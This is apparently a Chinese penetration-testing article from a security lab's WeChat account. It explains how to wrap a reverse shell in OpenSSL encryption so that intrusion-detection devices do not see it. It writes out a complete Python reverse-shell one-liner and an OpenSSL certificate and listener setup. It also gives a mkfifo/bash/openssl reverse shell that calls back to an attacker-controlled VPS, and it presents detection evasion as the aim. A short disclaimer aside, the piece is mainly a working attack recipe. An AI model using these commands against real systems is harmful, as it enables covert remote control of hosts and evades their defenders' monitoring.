点击蓝字 关注我们
日期:2022-05-19
作者:hdsec
介绍:对反弹
shell
传输的数据进行加密。
0x00 前言
借用百度词条的解释,在计算机网络上,OpenSSL
是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。
0x01 原始流量传输数据
在红蓝对抗中我们常常需要进行反弹shell
的操作,但是普通反弹shell
执行命令都是以明文进行传输的。
如下图所示,使用常见的使用python
命令进行反弹shell
。
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用wireshark
进行抓包测试,可以发现我们执行的命令以及返回的信息都是以明文的形式进行传输的,很容易被流量检测设备(IDS
、IPS
)检测到。
0x02 加密传输
上述操作进行反弹Shell
,明文传输容易被流量检测设备(IDS
、IPS
)检测并告警,因此需要将原始流量使用OpenSSL
加密,绕过流量检测设备。
2.1 生成SSL证书
首先在vps
上生成SSL
证书的公钥/私钥对,需要填写的SSL
证书信息可以是空,一直回车即可。
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
2.2 设置监听端口
VPS
使用OpenSSL
监听一个端口8888
。
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
2.3 反弹Shell
目标主机上执行反弹的加密Shell
,Ip
地址修改成VPS
的Ip
地址,端口修改成VPS
监听的端口。
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s
在目标主机上运行反弹Shell
的命令后,在VPS
上可以看到反弹信息,如下图所示,反弹成功。
2.4 抓取流量
使用wireshark
抓包可以看到,两个主机之间在使用TLS1.2
协议进行加密通信,传输的数据都已加密。
0x03 总结
利用OpenSSL
反弹加密Shell
,可以帮助我们绕过流量设备(IDS
、IPS
)的检测,让我们的行为更隐蔽。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(宸极实验室):『渗透测试』使用 OpenSSL 反弹加密 Shell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论